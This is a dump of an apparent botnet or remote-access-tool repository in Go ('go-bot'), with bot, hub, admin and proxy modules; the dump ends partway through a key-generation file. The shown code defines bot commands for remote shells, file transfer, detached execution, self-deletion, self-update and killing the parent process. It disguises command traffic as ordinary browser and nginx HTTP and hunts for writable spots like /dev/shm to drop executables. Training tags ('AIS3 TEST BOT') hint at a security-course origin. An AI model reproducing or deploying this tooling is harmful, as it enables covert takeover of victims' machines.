├── lib ├── log │ ├── go.mod │ └── log.go ├── smux │ ├── go.mod │ ├── mux.jpg │ ├── smux.png │ ├── curve.jpg │ ├── LICENSE │ ├── mux_test.go │ ├── frame.go │ ├── README.md │ ├── mux.go │ ├── stream.go │ └── session.go ├── chacha20 │ ├── go.mod │ ├── README.md │ ├── chacha20_amd64.go │ ├── LICENSE │ ├── chacha20.go │ └── chacha20_ref.go ├── fakehttp │ ├── go.mod │ ├── const.go │ ├── httpc_tls.go │ ├── tools.go │ ├── httpc.go │ └── httpd.go ├── godaemon │ ├── go.mod │ ├── daemon_linux.go │ ├── daemon_windows.go │ ├── LICENSE │ ├── daemon_darwin.go │ ├── os.go │ ├── daemon_freebsd.go │ ├── README.md │ └── daemon.go ├── toolkit │ ├── go.mod │ ├── file.go │ ├── hash.go │ ├── crypto_ecdsa.go │ ├── tool.go │ ├── crypto_aes.go │ ├── crypto_rsa.go │ └── packet.go ├── streamcoder │ ├── go.mod │ ├── flowdump.go │ ├── streamcoder.go │ ├── flowobf.go │ └── flowstat.go └── base │ ├── go.mod │ ├── client_op_mod.go │ ├── client_op.go │ ├── tag.go │ ├── client_op_fs.go │ ├── client_op_extra.go │ ├── admin.go │ ├── share.go │ ├── client.go │ ├── hub.go │ └── pool.go ├── .gitignore ├── genkeys ├── go.mod └── genkeys.go ├── hub ├── go.mod └── hub.go ├── bot ├── go.mod └── bot.go ├── admin └── go.mod ├── proxy ├── go.mod └── proxy.go └── README.md /lib/log/go.mod: -------------------------------------------------------------------------------- 1 | module log 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/smux/go.mod: -------------------------------------------------------------------------------- 1 | module smux 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/chacha20/go.mod: -------------------------------------------------------------------------------- 1 | module chacha20 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/fakehttp/go.mod: -------------------------------------------------------------------------------- 1 | module fakehttp 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/godaemon/go.mod: -------------------------------------------------------------------------------- 1 | module godaemon 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/toolkit/go.mod: -------------------------------------------------------------------------------- 1 | module toolkit 2 | 3 | go 1.16 4 | 5 | -------------------------------------------------------------------------------- /lib/smux/mux.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs8425/go-bot/HEAD/lib/smux/mux.jpg -------------------------------------------------------------------------------- /lib/smux/smux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs8425/go-bot/HEAD/lib/smux/smux.png -------------------------------------------------------------------------------- /lib/smux/curve.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs8425/go-bot/HEAD/lib/smux/curve.jpg -------------------------------------------------------------------------------- /lib/streamcoder/go.mod: -------------------------------------------------------------------------------- 1 | module streamcoder 2 | 3 | go 1.16 4 | 5 | replace lib/chacha20 => ../chacha20 6 | 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | *.swp 3 | .project 4 | .idea/ 5 | .vscode/ 6 | .vs/ 7 | 8 | admin/admin 9 | admin/admin.* 10 | proxy/proxy 11 | proxy/proxy.* 12 | bot/bot 13 | bot/bot.* 14 | hub/hub 15 | hub/hub.* 16 | 17 | -------------------------------------------------------------------------------- /genkeys/go.mod: -------------------------------------------------------------------------------- 1 | module genkeys 2 | 3 | go 1.16 4 | 5 | replace local/toolkit => ../lib/toolkit 6 | 7 | replace local/log => ../lib/log 8 | 9 | require ( 10 | local/toolkit v0.0.0-00010101000000-000000000000 // indirect 11 | ) 12 | -------------------------------------------------------------------------------- /lib/log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "log" 5 | "os" 6 | ) 7 | 8 | var ( 9 | Std = log.New(os.Stdout, "", log.LstdFlags) 10 | 11 | Verbosity int = 2 12 | ) 13 | 14 | func Vf(level int, format string, v ...interface{}) { 15 | if level <= Verbosity { 16 | Std.Printf(format, v...) 17 | } 18 | } 19 | func V(level int, v ...interface{}) { 20 | if level <= Verbosity { 21 | Std.Print(v...) 22 | } 23 | } 24 | func Vln(level int, v ...interface{}) { 25 | if level <= Verbosity { 26 | Std.Println(v...) 27 | } 28 | } 29 | 30 | -------------------------------------------------------------------------------- /lib/chacha20/README.md: -------------------------------------------------------------------------------- 1 | ### chacha20 - ChaCha20 2 | #### Yawning Angel (yawning at schwanenlied dot me) 3 | 4 | Yet another Go ChaCha20 implementation. Everything else I found was slow, 5 | didn't support all the variants I need to use, or relied on cgo to go fast. 6 | 7 | Features: 8 | 9 | * 20 round, 256 bit key only. Everything else is pointless and stupid. 10 | * IETF 96 bit nonce variant. 11 | * XChaCha 24 byte nonce variant. 12 | * SSE2 and AVX2 support on amd64 targets. 13 | * Incremental encrypt/decrypt support, unlike golang.org/x/crypto/salsa20. 14 | 15 | -------------------------------------------------------------------------------- /lib/base/go.mod: -------------------------------------------------------------------------------- 1 | module base 2 | 3 | go 1.16 4 | 5 | replace lib/smux => ../smux 6 | 7 | replace lib/godaemon => ../godaemon 8 | 9 | replace lib/chacha20 => ../chacha20 10 | 11 | replace local/streamcoder => ../streamcoder 12 | 13 | replace local/toolkit => ../toolkit 14 | 15 | require ( 16 | lib/smux v0.0.0-00010101000000-000000000000 // indirect 17 | lib/godaemon v0.0.0-00010101000000-000000000000 // indirect 18 | lib/chacha20 v0.0.0-00010101000000-000000000000 // indirect 19 | local/streamcoder v0.0.0-00010101000000-000000000000 // indirect 20 | local/toolkit v0.0.0-00010101000000-000000000000 // indirect 21 | ) 22 | 23 | -------------------------------------------------------------------------------- /hub/go.mod: -------------------------------------------------------------------------------- 1 | module hub 2 | 3 | go 1.16 4 | 5 | replace lib/chacha20 => ../lib/chacha20 6 | 7 | replace lib/fakehttp => ../lib/fakehttp 8 | 9 | replace lib/smux => ../lib/smux 10 | 11 | replace lib/godaemon => ../lib/godaemon 12 | 13 | replace local/base => ../lib/base 14 | 15 | replace local/streamcoder => ../lib/streamcoder 16 | 17 | replace local/toolkit => ../lib/toolkit 18 | 19 | replace local/log => ../lib/log 20 | 21 | require ( 22 | lib/fakehttp v0.0.0-00010101000000-000000000000 // indirect 23 | local/base v0.0.0-00010101000000-000000000000 // indirect 24 | local/log v0.0.0-00010101000000-000000000000 // indirect 25 | ) 26 | -------------------------------------------------------------------------------- /bot/go.mod: -------------------------------------------------------------------------------- 1 | module bot 2 | 3 | go 1.16 4 | 5 | replace lib/chacha20 => ../lib/chacha20 6 | 7 | replace lib/fakehttp => ../lib/fakehttp 8 | 9 | replace lib/smux => ../lib/smux 10 | 11 | replace lib/godaemon => ../lib/godaemon 12 | 13 | replace local/base => ../lib/base 14 | 15 | replace local/streamcoder => ../lib/streamcoder 16 | 17 | replace local/toolkit => ../lib/toolkit 18 | 19 | replace local/log => ../lib/log 20 | 21 | require ( 22 | lib/fakehttp v0.0.0-00010101000000-000000000000 // indirect 23 | local/base v0.0.0-00010101000000-000000000000 // indirect 24 | local/toolkit v0.0.0-00010101000000-000000000000 // indirect 25 | ) 26 | -------------------------------------------------------------------------------- /lib/fakehttp/const.go: -------------------------------------------------------------------------------- 1 | package fakehttp 2 | 3 | import ( 4 | "time" 5 | ) 6 | 7 | const ( 8 | txMethod = "POST" 9 | rxMethod = "GET" 10 | 11 | txFlag = "CDbHYQzabuNgrtgwSrC05w==" 12 | rxFlag = "CEjzOhPubJItdJA72O+6ETV+peA=" 13 | 14 | targetUrl = "/" 15 | 16 | tokenCookieA = "cna" 17 | tokenCookieB = "_tb_token_" 18 | tokenCookieC = "_cna" 19 | 20 | userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 QQBrowser/9.3.6874.400" 21 | headerServer = "nginx" 22 | 23 | timeout = 10 * time.Second 24 | tokenTTL = 20 * time.Second 25 | tokenClean = 10 * time.Second 26 | ) 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /admin/go.mod: -------------------------------------------------------------------------------- 1 | module admin 2 | 3 | go 1.16 4 | 5 | replace lib/chacha20 => ../lib/chacha20 6 | 7 | replace lib/fakehttp => ../lib/fakehttp 8 | 9 | replace lib/smux => ../lib/smux 10 | 11 | replace lib/godaemon => ../lib/godaemon 12 | 13 | replace local/base => ../lib/base 14 | 15 | replace local/streamcoder => ../lib/streamcoder 16 | 17 | replace local/toolkit => ../lib/toolkit 18 | 19 | replace local/log => ../lib/log 20 | 21 | require ( 22 | lib/fakehttp v0.0.0-00010101000000-000000000000 // indirect 23 | local/base v0.0.0-00010101000000-000000000000 // indirect 24 | local/toolkit v0.0.0-00010101000000-000000000000 // indirect 25 | local/log v0.0.0-00010101000000-000000000000 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /lib/godaemon/daemon_linux.go: -------------------------------------------------------------------------------- 1 | package godaemon 2 | 3 | // Copyright (c) 2013 VividCortex, Inc. All rights reserved. 4 | // Please see the LICENSE file for applicable license terms. 5 | 6 | import ( 7 | "fmt" 8 | "path/filepath" 9 | ) 10 | 11 | // GetExecutablePath returns the absolute path to the currently running 12 | // executable. It is used internally by the godaemon package, and exported 13 | // publicly because it's useful outside of the package too. 14 | func GetExecutablePath() (string, error) { 15 | exePath, err := Readlink("/proc/self/exe") 16 | 17 | if err != nil { 18 | err = fmt.Errorf("can't read /proc/self/exe: %v", err) 19 | } 20 | 21 | return filepath.Clean(exePath), err 22 | } 23 | -------------------------------------------------------------------------------- /proxy/go.mod: -------------------------------------------------------------------------------- 1 | module proxy 2 | 3 | go 1.16 4 | 5 | replace lib/chacha20 => ../lib/chacha20 6 | 7 | replace lib/fakehttp => ../lib/fakehttp 8 | 9 | replace lib/smux => ../lib/smux 10 | 11 | replace lib/godaemon => ../lib/godaemon 12 | 13 | replace local/base => ../lib/base 14 | 15 | replace local/streamcoder => ../lib/streamcoder 16 | 17 | replace local/toolkit => ../lib/toolkit 18 | 19 | replace local/log => ../lib/log 20 | 21 | require ( 22 | lib/fakehttp v0.0.0-00010101000000-000000000000 // indirect 23 | local/base v0.0.0-00010101000000-000000000000 // indirect 24 | local/toolkit v0.0.0-00010101000000-000000000000 // indirect 25 | local/log v0.0.0-00010101000000-000000000000 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /lib/base/client_op_mod.go: -------------------------------------------------------------------------------- 1 | // +build mod all 2 | 3 | package base 4 | 5 | import ( 6 | "net" 7 | "os" 8 | "syscall" 9 | 10 | kit "local/toolkit" 11 | "lib/smux" 12 | ) 13 | 14 | func init() { 15 | RegOps(B_ppend, ppX) 16 | RegOps(B_ppkill, ppX) 17 | RegOps(B_psig, ppX) 18 | } 19 | 20 | var ppX = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 21 | do := syscall.SIGTERM 22 | pid := os.Getppid() 23 | switch op { 24 | case B_ppend: 25 | case B_ppkill: 26 | do = syscall.SIGKILL 27 | case B_psig: 28 | pid64, err := kit.ReadVLen(p1) 29 | if err != nil { 30 | return 31 | } 32 | sig64, err := kit.ReadVLen(p1) 33 | if err != nil { 34 | return 35 | } 36 | pid = int(pid64) 37 | do = syscall.Signal(sig64) 38 | } 39 | syscall.Kill(pid, do) 40 | } 41 | 42 | 43 | -------------------------------------------------------------------------------- /lib/godaemon/daemon_windows.go: -------------------------------------------------------------------------------- 1 | package godaemon 2 | 3 | // Copyright (c) 2013-2015 VividCortex, Inc. All rights reserved. 4 | // Please see the LICENSE file for applicable license terms. 5 | 6 | import ( 7 | "fmt" 8 | "syscall" 9 | "unicode/utf16" 10 | "unsafe" 11 | ) 12 | 13 | var ( 14 | getModuleFileName = syscall.MustLoadDLL("kernel32.dll").MustFindProc("GetModuleFileNameW") 15 | ) 16 | 17 | // GetExecutablePath returns the absolute path to the currently running 18 | // executable. It is used internally by the godaemon package, and exported 19 | // publicly because it's useful outside of the package too. 20 | func GetExecutablePath() (string, error) { 21 | buf := make([]uint16, syscall.MAX_PATH+1) 22 | 23 | res, _, err := getModuleFileName.Call(0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) 24 | if res == 0 || res >= syscall.MAX_PATH || buf[0] == 0 || buf[res-1] == 0 { 25 | return "", fmt.Errorf("GetModuleFileNameW returned %d errno=%d", res, err) 26 | } 27 | 28 | return string(utf16.Decode(buf[:res])), nil 29 | } 30 | -------------------------------------------------------------------------------- /lib/godaemon/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2013 VividCortex 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in 11 | all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | THE SOFTWARE. 20 | -------------------------------------------------------------------------------- /lib/smux/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016-2017 Daniel Fu 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /lib/godaemon/daemon_darwin.go: -------------------------------------------------------------------------------- 1 | package godaemon 2 | 3 | // Copyright (c) 2013 VividCortex, Inc. All rights reserved. 4 | // Please see the LICENSE file for applicable license terms. 5 | 6 | //#include 7 | import "C" 8 | 9 | import ( 10 | "bytes" 11 | "fmt" 12 | "path/filepath" 13 | "unsafe" 14 | ) 15 | 16 | // GetExecutablePath returns the absolute path to the currently running 17 | // executable. It is used internally by the godaemon package, and exported 18 | // publicly because it's useful outside of the package too. 19 | func GetExecutablePath() (string, error) { 20 | PATH_MAX := 1024 // From 21 | exePath := make([]byte, PATH_MAX) 22 | exeLen := C.uint32_t(len(exePath)) 23 | 24 | status, err := C._NSGetExecutablePath((*C.char)(unsafe.Pointer(&exePath[0])), &exeLen) 25 | 26 | if err != nil { 27 | return "", fmt.Errorf("_NSGetExecutablePath: %v", err) 28 | } 29 | 30 | // Not sure why this might happen with err being nil, but... 31 | if status != 0 { 32 | return "", fmt.Errorf("_NSGetExecutablePath returned %d", status) 33 | } 34 | 35 | // Convert from null-padded []byte to a clean string. (Can't simply cast!) 36 | exePathStringLen := bytes.Index(exePath, []byte{0}) 37 | exePathString := string(exePath[:exePathStringLen]) 38 | 39 | return filepath.Clean(exePathString), nil 40 | } 41 | -------------------------------------------------------------------------------- /lib/base/client_op.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | "os" 6 | 7 | kit "local/toolkit" 8 | "lib/smux" 9 | ) 10 | 11 | func init() { 12 | RegOps(B_info, pullInfo) 13 | 14 | RegOps(B_fast0, fastC) 15 | RegOps(B_fast1, fastC) 16 | RegOps(B_fast2, fastC) 17 | 18 | RegOps(B_shk, sh) 19 | RegOps(B_csh, sh) 20 | 21 | RegOps(B_reconn, cc1) 22 | RegOps(B_kill, cc1) 23 | } 24 | 25 | var pullInfo = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 26 | c.Info.WriteTo(p1) 27 | } 28 | 29 | var fastC = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 30 | handleFastS(p1) 31 | } 32 | 33 | var sh = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 34 | bin := "sh" 35 | keep := false 36 | switch op { 37 | case B_shs: 38 | case B_shk: 39 | keep = true 40 | case B_csh: 41 | fallthrough 42 | default: 43 | binb, err := kit.ReadVTagByte(p1) 44 | if err != nil { 45 | return 46 | } 47 | bin = string(binb) 48 | ret64, err := kit.ReadVLen(p1) 49 | if err != nil { 50 | return 51 | } 52 | if int(ret64) != 0 { 53 | keep = true 54 | } 55 | } 56 | 57 | c.handle2(p1, keep, bin) 58 | } 59 | 60 | var cc1 = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 61 | switch op { 62 | case B_reconn: 63 | mux.Close() 64 | 65 | case B_kill: 66 | os.Exit(0) 67 | } 68 | } 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /lib/smux/mux_test.go: -------------------------------------------------------------------------------- 1 | package smux 2 | 3 | import ( 4 | "bytes" 5 | "testing" 6 | ) 7 | 8 | type buffer struct { 9 | bytes.Buffer 10 | } 11 | 12 | func (b *buffer) Close() error { 13 | b.Buffer.Reset() 14 | return nil 15 | } 16 | 17 | func TestConfig(t *testing.T) { 18 | VerifyConfig(DefaultConfig()) 19 | 20 | config := DefaultConfig() 21 | config.KeepAliveInterval = 0 22 | err := VerifyConfig(config) 23 | t.Log(err) 24 | if err == nil { 25 | t.Fatal(err) 26 | } 27 | 28 | config = DefaultConfig() 29 | config.KeepAliveInterval = 10 30 | config.KeepAliveTimeout = 5 31 | err = VerifyConfig(config) 32 | t.Log(err) 33 | if err == nil { 34 | t.Fatal(err) 35 | } 36 | 37 | config = DefaultConfig() 38 | config.MaxFrameSize = 0 39 | err = VerifyConfig(config) 40 | t.Log(err) 41 | if err == nil { 42 | t.Fatal(err) 43 | } 44 | 45 | config = DefaultConfig() 46 | config.MaxFrameSize = 65536 47 | err = VerifyConfig(config) 48 | t.Log(err) 49 | if err == nil { 50 | t.Fatal(err) 51 | } 52 | 53 | config = DefaultConfig() 54 | config.MaxReceiveBuffer = 0 55 | err = VerifyConfig(config) 56 | t.Log(err) 57 | if err == nil { 58 | t.Fatal(err) 59 | } 60 | 61 | var bts buffer 62 | if _, err := Server(&bts, config); err == nil { 63 | t.Fatal("server started with wrong config") 64 | } 65 | 66 | if _, err := Client(&bts, config); err == nil { 67 | t.Fatal("client started with wrong config") 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /lib/base/tag.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | const ( 4 | 5 | // initial 6 | initKeyTag = "HELLO" 7 | 8 | // Agent 9 | adminAgentTag = "AIS3 TEST TOOL" 10 | clientAgentTag = "AIS3 TEST BOT" 11 | 12 | ) 13 | 14 | 15 | // ops for admin to hub 16 | const ( 17 | H_ls = "l" 18 | H_sync = "syn" 19 | H_fetch = "f" 20 | H_select = "s" 21 | ) 22 | 23 | // ops for client 24 | const ( 25 | B_shk = "sk" // shell without exit 26 | B_shs = "sh" // shell server 27 | B_csh = "csh" // shell with option 28 | 29 | B_fs = "fs" // file ops 30 | B_push = "put" // pipe client to file 31 | B_get = "get" // pipe file to client 32 | B_del = "del" // del file 33 | B_pipe = "pipe" // pipe file and client TODO 34 | B_call = "call" // exec file & detach 35 | 36 | B_dodaemon = "daemon" // do daemon 37 | B_apoptosis = "apoptosis" // remove self 38 | B_rebirth = "rebirth" // write & exec self 39 | B_evolution = "evolution" // update self 40 | 41 | B_ppend = "ppend" // send SIGTERM to parent process 42 | B_ppkill = "ppkill" // send SIGKILL to parent process (FC) 43 | B_psig = "psig" // send Signal to process 44 | 45 | B_info = "info" // pull info 46 | B_fast0 = "j" // fast proxy server 47 | B_fast1 = "k" // fast proxy server 48 | B_fast2 = "l" // fast proxy server 49 | B_reconn = "reconn" // reconnect 50 | B_kill = "bye" // kill self 51 | ) 52 | 53 | -------------------------------------------------------------------------------- /lib/smux/frame.go: -------------------------------------------------------------------------------- 1 | package smux 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | ) 7 | 8 | const ( 9 | version = 2 10 | ) 11 | 12 | const ( // cmds 13 | cmdSYN byte = iota // stream open 14 | cmdFIN // stream close, a.k.a EOF mark 15 | cmdPSH // data push 16 | cmdNOP // no operation 17 | cmdACK // for test RTT 18 | cmdFUL // buffer full 19 | cmdEMP // buffer empty 20 | ) 21 | 22 | const ( 23 | sizeOfVer = 1 24 | sizeOfCmd = 1 25 | sizeOfLength = 2 26 | sizeOfSid = 4 27 | headerSize = sizeOfVer + sizeOfCmd + sizeOfSid + sizeOfLength 28 | ) 29 | 30 | // Frame defines a packet from or to be multiplexed into a single connection 31 | type Frame struct { 32 | ver byte 33 | cmd byte 34 | sid uint32 35 | data []byte 36 | } 37 | 38 | func newFrame(cmd byte, sid uint32) Frame { 39 | return Frame{ver: version, cmd: cmd, sid: sid} 40 | } 41 | 42 | type rawHeader []byte 43 | 44 | func (h rawHeader) Version() byte { 45 | return h[0] 46 | } 47 | 48 | func (h rawHeader) Cmd() byte { 49 | return h[1] 50 | } 51 | 52 | func (h rawHeader) Length() uint16 { 53 | return binary.LittleEndian.Uint16(h[2:]) 54 | } 55 | 56 | func (h rawHeader) StreamID() uint32 { 57 | return binary.LittleEndian.Uint32(h[4:]) 58 | } 59 | 60 | func (h rawHeader) String() string { 61 | return fmt.Sprintf("Version:%d Cmd:%d StreamID:%d Length:%d", 62 | h.Version(), h.Cmd(), h.StreamID(), h.Length()) 63 | } 64 | -------------------------------------------------------------------------------- /lib/godaemon/os.go: -------------------------------------------------------------------------------- 1 | package godaemon 2 | 3 | import ( 4 | "bytes" 5 | "os" 6 | "syscall" 7 | ) 8 | 9 | // Readlink returns the file pointed to by the given soft link, or an error of 10 | // type PathError otherwise. This mimics the os.Readlink() function, but works 11 | // around a bug we've seen in CentOS 5.10 (kernel 2.6.27.10 on x86_64) where the 12 | // underlying OS function readlink() returns a wrong number of bytes for the 13 | // result (see man readlink). Here we don't rely blindly on that value; if 14 | // there's a zero byte among that number of bytes, then we keep only up to that 15 | // point. 16 | // 17 | // NOTE: We chose not to use os.Readlink() and then search on its result to 18 | // avoid an extra overhead of converting back to []byte. The function to search 19 | // for a byte over the string itself (strings.IndexByte()) is only available 20 | // starting with Go 1.2. Also, we're not searching at every iteration to save 21 | // some CPU time, even though that could mean extra iterations for systems 22 | // affected with this bug. But it's wiser to optimize for the general case 23 | // (i.e., those not affected). 24 | func Readlink(name string) (string, error) { 25 | for len := 128; ; len *= 2 { 26 | b := make([]byte, len) 27 | n, e := syscall.Readlink(name, b) 28 | if e != nil { 29 | return "", &os.PathError{"readlink", name, e} 30 | } 31 | if n < len { 32 | if z := bytes.IndexByte(b[:n], 0); z >= 0 { 33 | n = z 34 | } 35 | return string(b[:n]), nil 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /lib/godaemon/daemon_freebsd.go: -------------------------------------------------------------------------------- 1 | package godaemon 2 | 3 | // Copyright (c) 2013 VividCortex, Inc. All rights reserved. 4 | // Please see the LICENSE file for applicable license terms. 5 | 6 | //#include 7 | //#include 8 | import "C" 9 | 10 | import ( 11 | "bytes" 12 | "fmt" 13 | "path/filepath" 14 | "unsafe" 15 | ) 16 | 17 | // GetExecutablePath returns the absolute path to the currently running 18 | // executable. It is used internally by the godaemon package, and exported 19 | // publicly because it's useful outside of the package too. 20 | func GetExecutablePath() (string, error) { 21 | PATH_MAX := 1024 // From 22 | exePath := make([]byte, PATH_MAX) 23 | exeLen := C.size_t(len(exePath)) 24 | 25 | // Beware: sizeof(int) != sizeof(C.int) 26 | var mib [4]C.int 27 | // From 28 | mib[0] = 1 // CTL_KERN 29 | mib[1] = 14 // KERN_PROC 30 | mib[2] = 12 // KERN_PROC_PATHNAME 31 | mib[3] = -1 32 | 33 | status, err := C.sysctl((*C.int)(unsafe.Pointer(&mib[0])), 4, unsafe.Pointer(&exePath[0]), &exeLen, nil, 0) 34 | 35 | if err != nil { 36 | return "", fmt.Errorf("sysctl: %v", err) 37 | } 38 | 39 | // Not sure why this might happen with err being nil, but... 40 | if status != 0 { 41 | return "", fmt.Errorf("sysctl returned %d", status) 42 | } 43 | 44 | // Convert from null-padded []byte to a clean string. (Can't simply cast!) 45 | exePathStringLen := bytes.Index(exePath, []byte{0}) 46 | exePathString := string(exePath[:exePathStringLen]) 47 | 48 | return filepath.Clean(exePathString), nil 49 | } 50 | -------------------------------------------------------------------------------- /lib/fakehttp/httpc_tls.go: -------------------------------------------------------------------------------- 1 | // +build !notls 2 | 3 | package fakehttp 4 | 5 | import ( 6 | "crypto/tls" 7 | "crypto/x509" 8 | "net" 9 | "net/http" 10 | "time" 11 | "strings" 12 | ) 13 | 14 | type dialTLS struct { 15 | Transport *http.Transport 16 | TLSConfig *tls.Config 17 | } 18 | 19 | func (dl *dialTLS) GetProto() (string) { 20 | return "https://" 21 | } 22 | 23 | func (dl *dialTLS) Do(req *http.Request, timeout time.Duration) (*http.Response, error) { 24 | client := &http.Client{ 25 | Timeout: timeout, 26 | } 27 | client.Transport = dl.Transport 28 | return client.Do(req) 29 | } 30 | 31 | func (dl *dialTLS) DialTimeout(host string, timeout time.Duration) (net.Conn, error) { 32 | tx, err := net.DialTimeout("tcp", host, timeout) 33 | if err != nil { 34 | return nil, err 35 | } 36 | tx = tls.Client(tx, dl.TLSConfig) 37 | return tx, nil 38 | } 39 | 40 | func NewTLSClient(target string, caCrtByte []byte, skipVerify bool) (*Client) { 41 | cl := NewClient(target) 42 | 43 | colonPos := strings.LastIndex(target, ":") 44 | if colonPos == -1 { 45 | colonPos = len(target) 46 | } 47 | hostname := target[:colonPos] 48 | 49 | var caCrtPool *x509.CertPool 50 | if caCrtByte != nil { 51 | caCrtPool = x509.NewCertPool() 52 | caCrtPool.AppendCertsFromPEM(caCrtByte) 53 | } 54 | 55 | TLSConfig := &tls.Config{ 56 | RootCAs: caCrtPool, 57 | InsecureSkipVerify: skipVerify, 58 | ServerName: hostname, 59 | } 60 | 61 | Transport := &http.Transport{ 62 | TLSClientConfig: TLSConfig, 63 | } 64 | 65 | cl.Dialer = &dialTLS{ 66 | TLSConfig: TLSConfig, 67 | Transport: Transport, 68 | } 69 | 70 | return cl 71 | } 72 | 73 | -------------------------------------------------------------------------------- /lib/toolkit/file.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "strings" 7 | "fmt" 8 | "math/rand" 9 | ) 10 | 11 | func ReadLines(filename string) ([]string, error) { 12 | f, err := os.OpenFile(filename, os.O_RDONLY, 0400) 13 | if err != nil { 14 | return []string{""}, err 15 | } 16 | defer f.Close() 17 | 18 | var ret []string 19 | 20 | r := bufio.NewReader(f) 21 | for { 22 | line, err := r.ReadString('\n') 23 | if err != nil { 24 | break 25 | } 26 | ret = append(ret, strings.Trim(line, "\n")) 27 | } 28 | return ret, nil 29 | } 30 | 31 | var GetSelf = func () (string, error) { 32 | return os.Args[0], nil 33 | } 34 | 35 | var TryWX = func () (fd *os.File, path string, err error) { 36 | 37 | paths := make([]string, 0) 38 | paths = append(paths, os.TempDir()) 39 | paths = append(paths, "/dev/shm") 40 | paths = append(paths, "/tmp") 41 | paths = append(paths, "/data/local/tmp") 42 | 43 | for _, v := range paths { 44 | trydir := v + string(os.PathSeparator) + fmt.Sprintf("%v", rand.Int63()) 45 | fd, err = os.OpenFile(trydir, os.O_WRONLY | os.O_CREATE | os.O_EXCL , 0700) 46 | if os.IsExist(err) { 47 | paths = append(paths, v) 48 | continue 49 | } 50 | if err == nil { 51 | // ok 52 | return fd, trydir, nil 53 | } 54 | } 55 | 56 | return nil, "", err 57 | } 58 | 59 | /*func Vf(level int, format string, v ...interface{}) { 60 | if level <= 6 { 61 | fmt.Printf(format, v...) 62 | } 63 | } 64 | func V(level int, v ...interface{}) { 65 | if level <= 6 { 66 | fmt.Print(v...) 67 | } 68 | } 69 | func Vln(level int, v ...interface{}) { 70 | if level <= 6 { 71 | fmt.Println(v...) 72 | } 73 | }*/ 74 | 75 | -------------------------------------------------------------------------------- /genkeys/genkeys.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/sha256" 5 | "crypto/sha512" 6 | "fmt" 7 | 8 | "time" 9 | "flag" 10 | 11 | "encoding/base64" 12 | 13 | "local/toolkit" 14 | ) 15 | 16 | var verbosity = flag.Int("v", 3, "verbosity") 17 | 18 | func main() { 19 | 20 | start := time.Now() 21 | 22 | private_key, public_key := toolkit.GenRSAKeys(2048) 23 | 24 | Vlogf(3, "RSA GerRSAKeys took %s\n", time.Since(start)) 25 | 26 | Vlogln(2, "RSA private key:", len(private_key), 